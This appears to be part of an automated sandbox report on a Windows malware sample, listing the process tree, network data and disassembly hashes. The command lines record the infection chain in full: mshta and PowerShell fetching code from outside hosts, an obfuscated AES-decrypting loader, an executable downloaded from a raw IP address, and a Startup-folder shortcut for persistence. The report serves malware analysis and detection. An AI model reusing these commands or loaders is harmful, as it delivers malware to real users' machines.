2024-12-18 08:13:01 UTC	16384	IN	Data Raw: 75 50 2c 6b 4a 2c 75 42 2c 75 50 2c 72 45 2c 6b 4a 2c 75 42 2c 75 50 2c 6d 52 2c 6b 4a 2c 75 42 2c 75 42 2c 70 76 2c 6b 4a 2c 75 42 2c 75 50 2c 77 46 2c 6b 4a 2c 75 42 2c 75 50 2c 70 76 2c 6b 4a 2c 75 42 2c 75 50 2c 75 42 2c 6b 4a 2c 75 42 2c 75 50 2c 6d 52 2c 6b 4a 2c 75 42 2c 75 50 2c 75 42 2c 6b 4a 2c 75 42 2c 75 42 2c 41 52 2c 6b 4a 2c 75 42 2c 75 50 2c 79 46 2c 6b 4a 2c 75 42 2c 75 50 2c 75 42 2c 6b 4a 2c 75 42 2c 75 50 2c 45 4b 2c 6b 4a 2c 75 42 2c 6d 52 2c 45 4b 2c 6b 4a 2c 75 42 2c 6d 52 2c 41 52 2c 6b 4a 2c 75 42 2c 75 50 2c 45 4b 2c 6b 4a 2c 75 42 2c 75 42 2c 41 52 2c 6b 4a 2c 75 42 2c 75 50 2c 79 46 2c 6b 4a 2c 75 42 2c 75 50 2c 75 50 2c 6b 4a 2c 75 42 2c 6d 52 2c 41 52 2c 6b 4a 2c 75 42 2c 75 50 2c 72 45 2c 6b 4a 2c 75 42 2c 6d 52 2c 41 52 2c Data Ascii: uP,kJ,uB,uP,rE,kJ,uB,uP,mR,kJ,uB,uB,pv,kJ,uB,uP,wF,kJ,uB,uP,pv,kJ,uB,uP,uB,kJ,uB,uP,mR,kJ,uB,uP,uB,kJ,uB,uB,AR,kJ,uB,uP,yF,kJ,uB,uP,uB,kJ,uB,uP,EK,kJ,uB,mR,EK,kJ,uB,mR,AR,kJ,uB,uP,EK,kJ,uB,uB,AR,kJ,uB,uP,yF,kJ,uB,uP,uP,kJ,uB,mR,AR,kJ,uB,uP,rE,kJ,uB,mR,AR,
2024-12-18 08:13:01 UTC	12578	IN	Data Raw: 77 77 77 ba 7e ee 77 77 00 00 00 00 00 88 78 f7 f7 77 7b ba 7e e7 77 77 70 00 00 0f ff ff ff 8f 7f 7f ff ff ee 7f ff ff ff 00 00 0f ff ff ff ff f7 ff ff ff e7 7f ff ff ff f0 00 00 00 00 0f ff 8f 00 00 0f f7 00 00 00 0f ff 00 00 00 00 00 0f f8 00 00 0f ff 00 00 00 00 0f f0 00 00 ff 00 0f f7 00 00 00 ff 70 00 ff 00 0f f0 00 00 0f 00 00 ff 00 00 00 0f f0 00 0f 00 00 f0 00 00 0f f0 00 ff 00 00 00 0f f0 00 0f f0 00 f0 00 00 0f f0 00 07 00 00 f0 00 ff 00 0f f0 00 f0 00 00 00 00 00 07 00 00 f0 00 0f 00 00 00 00 00 00 00 00 00 00 7a 00 00 77 00 0f 00 00 00 00 00 00 00 00 00 07 aa 00 00 77 70 00 f0 00 00 00 00 00 00 08 e7 7a aa ee bb 77 77 7f 7f 78 00 00 00 00 00 08 77 aa ae ee bb 77 77 77 f7 f7 00 00 00 00 00 00 8a aa ae ee bb 77 77 77 7f 70 00 00 00 00 00 00 08 Data Ascii: www~wwxw{~wwppzwwpzwwxwwwwwwwp

Target ID:	0
Start time:	03:12:54
Start date:	18/12/2024
Path:	C:\Windows\System32\forfiles.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m cmmon32.exe /c "powershell . \i\2\mshe https://tiffany-careers.com/ghep2
Imagebase:	0x7ff7b6e20000
File size:	52'224 bytes
MD5 hash:	9BB67AEA5E26CB136F23F29CC48D6B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	03:12:54
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:12:54
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	. \i\2\mshe https://tiffany-careers.com/ghep2
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:12:56
Start date:	18/12/2024
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\mshta.exe" https://tiffany-careers.com/ghep2
Imagebase:	0x7ff7c7810000
File size:	14'848 bytes
MD5 hash:	0B4340ED812DC82CE636C00FA5C9BEF2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:13:00
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:13:01
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function clean ($RptYb){return -split ($RptYb -replace '..', '0x$& ')};$TmDJyn = clean('85EF51FEE837F812F61F1656D38BD83A6C01DC072CBCF246D841948987B9BF3C9407C4F8ABE6B3AC5C50C036D5BF68E3CA56C456FB1B2404AC5CC6C48224E43EFF1648E7AF29CE17BF2F62A8A7C7F4DE07613F737B271AA100A67B779C122AD966C15CB3C823908B36BCCBE9B592D037365125E56312B004E07F513AA459ACF6BFEB51AC31152191AF94E56667A3D2A99C72466ED1996C430D4FDBDAAC444A645133FFD6F506740CE6AE51237562A4307EAF56A5E569B87DC171D550AD8A419C8822B7E0E8357121B4EE75DD16DB89B145D82B1C909ABECFAF2CA7275A13D2BF9E37AD98257B106D88D6988DB290C39C801B5ACD6E2249F2E178FCF16B59452E1DF6068D3A31595646428A980314EE83988BEB6E930DAD4F3640861D45D0A054E18C6A6A1DC88EC8B63FC99EA26D553E7BB5359CA978A904B26D285DA2E961D2C21E99F57B1C7F312913323B86FA89527AF31A5917C2DA9F587D7AD9CE91B6BF628678DF96FAE7AC81A58B57440B8A9E5A64E9BA96EB65240C98299F091495E74DF32B68B79275E2937AB69BF3BD5F0EC1E9A16BF58DA85A870C384779CDAD74B0CCBA5DB9AC7C88E57A05E5FB4B20E10C6C366F1EB3C39148D6FD619830E132F469D25D555A553DD869B43849F23E017958E14F9380CFE36FC613F285B96CA940C562F0BBE8C241411E58D012E23CE1C600E9337A739DB5AE1933D65A4E4AF946B7B1F6CF268BD58702C1B7772610043D981C68C31564F5D9BCBC8CD96ECCFFEEA53D365D01D36E4B3484C95363DD6F39138A67AA362CC9C4190026ABF641C6DF0E5D4A3DE01E05606278D5D2CD0D85DC89F086FAFB7491F9C40F89ED33F7D31C9484F5A8801EF1BABD7938BE509E2133642C8F35CA6BC2E09BEBD5D6E25F0DC30937B429ECB2F268B5D43052547BFA5B9ED413A38A20627D472EFB0F8E5508505831BA8934BFEEB8AE9A4BF2628245B5EC010BF6D308960A15DD28CFFB2D4FDABA50ADBE760CF86DACFCC1CC10A16D02B0C2946FCEDF74A822836F4B0F4975FF46B0CBA3CB495C20FC2E2D372C357A0897500BE09B0F824AA768EAFC28D39243CF341DE1E2A07E5CBD4B0252080E82D760C61806F6F7994A7DE1DCAB9D55F435A87A935C06EC1E878265F121BBA0C1C3B138C1C358E3620FE1A9D778846E6E0CC25C2E6EF13359D6033DE5B1EE13790F98BE7CD35C3B754897DB4583B2B846BCD4E1906C8F2416336E8F269DA57FC2A9824FD6457D1FBC840D50A0EBE6EA5D36FCDCAEB24318E174CC5E33792642277DCC1EBD38F0C1E9233BA2B6E85C963CD7EA29A78A0D2F2F3C1C85EEA9CB646881CEB314F342ECD05D23D5A754721D804D2562F5FDA471331489B61431D4EB09A03B9EF4D7FB5B3E8091B05427A6364A5B6D0281A41D08DF8F77CE3D19BBEDA721A10EB0619CC5BD0A356D2E124CD2962CE26B9E426500BC09F540E75EBD01524B2439910F6000364849B4B849A10268817BBDBE676C5F3DC1D39FA1F1A09760E6B0902B7C52C8F09DE7BF7015A029559284A573439130DC0912C8C12F8AFD9D26F921AF247BD1AFFBD37E1985F8D2709B4CE2681126C3BE8125DB7B0AB4C0CF4566221DEE6A82BC22EC143820A60C9066D3FDD32C6A78427A2E86463B2B6FFB7F128E906DB4659BDD9607349255B9A7F5362978B75C4A3D8234B1A87F09B3550450D25B8CC317C18849409DC37399F4E365EF0404E3CFE1AB8DBD8A85A9FF698337D674B0E24EFFA058A278F5943622');$MuOQabMc = [System.Security.Cryptography.Aes]::Create();$MuOQabMc.Key = clean('756561544973656A645A7544464B6A70');$MuOQabMc.IV = New-Object byte[] 16;$LaiuJGbhf = $MuOQabMc.CreateDecryptor();$mGnVsuDWp = [Text.Encoding]::UTF8.GetString($LaiuJGbhf.TransformFinalBlock($TmDJyn, 0,$TmDJyn.Length)); & $mGnVsuDWp.Substring(0,3) $mGnVsuDWp.Substring(3)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:13:01
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:13:03
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\Marketing.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	03:13:04
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:13:04
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1744,i,5196948583256038124,6281931824865784808,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:13:07
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\PefjSkkhb.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Roaming\PefjSkkhb.exe"
Imagebase:	0x7ff7c0e50000
File size:	1'083'904 bytes
MD5 hash:	567DE19C0E7E3A1FC845E51AC1C1D5D8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 32%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:13:07
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:13:07
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	03:13:15
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	03:13:15
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:13:21
Start date:	18/12/2024
Path:	C:\Users\Public\Guard.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Imagebase:	0x6b0000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	03:13:23
Start date:	18/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	03:13:23
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	03:13:32
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js"
Imagebase:	0x7ff69fa90000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	03:13:33
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"
Imagebase:	0x290000
File size:	893'608 bytes
MD5 hash:	18CE19B57F43CE0A5AF149C96AECC685
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Has exited:	false

Show Windows behavior

Function 000001D8F2B10FB9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2269481383.000001D8F2B10000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001D8F2B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_1d8f2b10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 5229feb56b359842a6560e38f794f34d761a42f5d4a601c44869e0ff65268492
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 8190021449544699D41452910C8639C51406388290FD548815C16D0144D84D02961252

Function 000001D8F2B10FA9 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2269481383.000001D8F2B10000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001D8F2B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_1d8f2b10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 5229feb56b359842a6560e38f794f34d761a42f5d4a601c44869e0ff65268492
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 8190021449544699D41452910C8639C51406388290FD548815C16D0144D84D02961252

Function 000001D8F2B10FB1 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000003.2269481383.000001D8F2B10000.00000010.00000800.00020000.00000000.sdmp, Offset: 000001D8F2B10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_3_1d8f2b10000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction ID: 5229feb56b359842a6560e38f794f34d761a42f5d4a601c44869e0ff65268492
Opcode Fuzzy Hash: a7746c4fcd792058dff34b208f858b26d0e20ac4c0d4ae1df23727354e10d21e
Instruction Fuzzy Hash: 8190021449544699D41452910C8639C51406388290FD548815C16D0144D84D02961252

Analysis Process: powershell.exePID: 4308, Parent PID: 5060COMMON

Executed Functions

Function 00007FF84864420E Relevance: .9, Instructions: 859COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2265479998.00007FF848640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3028b7955a23fe09d656161cc86970dbf5babe0f6b64ffee0f0d0f2be000ea9c
Instruction ID: 0c82720d2e0c044d5450430d8d7428df81f7e6bcf47bdcba9212462a77cc605d
Opcode Fuzzy Hash: 3028b7955a23fe09d656161cc86970dbf5babe0f6b64ffee0f0d0f2be000ea9c
Instruction Fuzzy Hash: 80423621D0FAC54FE79AAB28186A5B97BE0EF56A94F0801FBD44DC71D3DF089C068359

Function 00007FF848644911 Relevance: 5.6, Strings: 4, Instructions: 573COMMON

Download Yara Rule

Strings

P|H, xrefs: 00007FF848644D00
@yH, xrefs: 00007FF848644B5E
@yH, xrefs: 00007FF848644C28
@yH, xrefs: 00007FF848644D68

Memory Dump Source

Source File: 00000006.00000002.2265479998.00007FF848640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848640000_powershell.jbxd

Similarity

API ID:
String ID: @yH$@yH$@yH$P|H
API String ID: 0-1418896639
Opcode ID: d808b64ef77dafd9070dcf1ee44dacdcec28197c6b7e2f5aaec202986e6d4f9e
Instruction ID: 0be4436007133376cb7a43edc30983ff1315fa73b0bd41f9761e0f25d1d97ae5
Opcode Fuzzy Hash: d808b64ef77dafd9070dcf1ee44dacdcec28197c6b7e2f5aaec202986e6d4f9e
Instruction Fuzzy Hash: A9F14631E0EA894FE7D9EB28945A6783BE1EF15798F1801FAC44DC7193DF29AC058349

Function 00007FF848644B46 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

@yH, xrefs: 00007FF848644B5E
@yH, xrefs: 00007FF848644C28

Memory Dump Source

Source File: 00000006.00000002.2265479998.00007FF848640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848640000_powershell.jbxd

Similarity

API ID:
String ID: @yH$@yH
API String ID: 0-403854902
Opcode ID: 31e818e7de8730dd2f6e1aff578dd9627d1d6e9ec4db7bd628f0985a3034f01f
Instruction ID: dc077ddf49164dc5b70f3222f18d0ae36895ab55f988e649ab995cf2de950b4c
Opcode Fuzzy Hash: 31e818e7de8730dd2f6e1aff578dd9627d1d6e9ec4db7bd628f0985a3034f01f
Instruction Fuzzy Hash: DB51E531E1EA8A4FE7D8EA18949A67877D2FF54658F1802BEC40DC3192CF28AC458749

Function 00007FF848643451 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

U|H, xrefs: 00007FF8486435CB

Memory Dump Source

Source File: 00000006.00000002.2265479998.00007FF848640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848640000_powershell.jbxd

Similarity

API ID:
String ID: U|H
API String ID: 0-3131380341
Opcode ID: 668acad2b97f47a192acb115af2f42c224a766e1f16be9064763e4b92e664d73
Instruction ID: 2f1c1539dac2618ff9080fd5515985a3d25a58ba7683a6c0c6f8d0c89ffc2235
Opcode Fuzzy Hash: 668acad2b97f47a192acb115af2f42c224a766e1f16be9064763e4b92e664d73
Instruction Fuzzy Hash: 17510712E0EA865FE3DAA73C18585787FE1EF56A90B0941FBC048CB2D7DE099C098359

Function 00007FF84864451A Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2265479998.00007FF848640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 898831d55fdcaa1be57f12398d9996b2be712b0f0cfd6c64d2ab88416d3ae05c
Instruction ID: c04b08638bac38b28a9e5a8d5cae0e75b60822441ee0eefe04598f14b32f9a22
Opcode Fuzzy Hash: 898831d55fdcaa1be57f12398d9996b2be712b0f0cfd6c64d2ab88416d3ae05c
Instruction Fuzzy Hash: 0041D322E1FE875FF6DAA628186A17C66D1EF45AE4F4801B9D80DC71D3EF0C9C05420E

Function 00007FF848573A05 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2264758375.00007FF848570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848570000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction ID: 00b717c92f1cf39c60fc60bb2780791a132f8e1f85d556d6651fcd22b4f6e9a6
Opcode Fuzzy Hash: 67d1617613e612b7a049b31fcb3c0c06bb00aa9b6616606570c7eb9b15762ca9
Instruction Fuzzy Hash: 2A01677111CB0C4FD748EF0CE451AA5B7E0FB95364F50056DE58AC3651D736E881CB45

Function 00007FF8486404D8 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2265479998.00007FF848640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848640000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aee0b035bc0e4c649ab34b331863235dfeb183eef80a8cb21ea95a3c20da54c1
Instruction ID: 2fa4ba608914412de4bbfbb371cbf9f20dd5e527db1ae6663610f3a3d45b0f11
Opcode Fuzzy Hash: aee0b035bc0e4c649ab34b331863235dfeb183eef80a8cb21ea95a3c20da54c1
Instruction Fuzzy Hash: A7E0D833E0E9795FE7E6F95C241D1FCA691EF546A5B0501B7D90CC3142DE009C14438A

Non-executed Functions

Function 00007FF848643981 Relevance: 8.0, Strings: 6, Instructions: 461COMMON

Download Yara Rule

Strings

-|H, xrefs: 00007FF848643C7E
-|H, xrefs: 00007FF848643997
-|H, xrefs: 00007FF848643CE3
-|H, xrefs: 00007FF848643AA4
U|H, xrefs: 00007FF848643BB7
@P|H, xrefs: 00007FF848643C1E

Memory Dump Source

Source File: 00000006.00000002.2265479998.00007FF848640000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848640000_powershell.jbxd

Similarity

API ID:
String ID: @P|H$-|H$-|H$-|H$-|H$U|H
API String ID: 0-1701889046
Opcode ID: 4a46931516cd0a2d74cddd38ad9c3615484e7136cab65496a2e66b8f161e9719
Instruction ID: 92f374bc527159676fb6dbb2bea1ea739419171eb6f2e76300ccce67686687a0
Opcode Fuzzy Hash: 4a46931516cd0a2d74cddd38ad9c3615484e7136cab65496a2e66b8f161e9719
Instruction Fuzzy Hash: C8F19031D0DA8A9FE799EB6C8859A687BE1FF65B40F1400BDC00DCB193DF29AC458749

Analysis Process: PefjSkkhb.exePID: 7724, Parent PID: 4308COMMON

Execution Graph

Execution Coverage:	2.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	5.9%
Total number of Nodes:	1426
Total number of Limit Nodes:	40

Executed Functions

Function 00007FF7C0E537B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 145
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E537F2
IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E53807
GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E5388D

Part of subcall function 00007FF7C0E53F9C: GetFullPathNameW.KERNEL32(D000000000000000,00007FF7C0E538BF,?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E53FFD

SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E53924
MessageBoxA.USER32 ref: 00007FF7C0E9B888
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E9B8E1
GetForegroundWindow.USER32(?,?,?,?,?,00007FF7C0E53785), ref: 00007FF7C0E9B968
ShellExecuteW.SHELL32 ref: 00007FF7C0E9B98F

Part of subcall function 00007FF7C0E53B84: GetSysColorBrush.USER32 ref: 00007FF7C0E53B9E
Part of subcall function 00007FF7C0E53B84: LoadCursorW.USER32 ref: 00007FF7C0E53BAE
Part of subcall function 00007FF7C0E53B84: LoadIconW.USER32 ref: 00007FF7C0E53BC3
Part of subcall function 00007FF7C0E53B84: LoadIconW.USER32 ref: 00007FF7C0E53BDC
Part of subcall function 00007FF7C0E53B84: LoadIconW.USER32 ref: 00007FF7C0E53BF5
Part of subcall function 00007FF7C0E53B84: LoadImageW.USER32 ref: 00007FF7C0E53C21
Part of subcall function 00007FF7C0E53B84: RegisterClassExW.USER32 ref: 00007FF7C0E53C85

Part of subcall function 00007FF7C0E53CBC: CreateWindowExW.USER32 ref: 00007FF7C0E53D0C
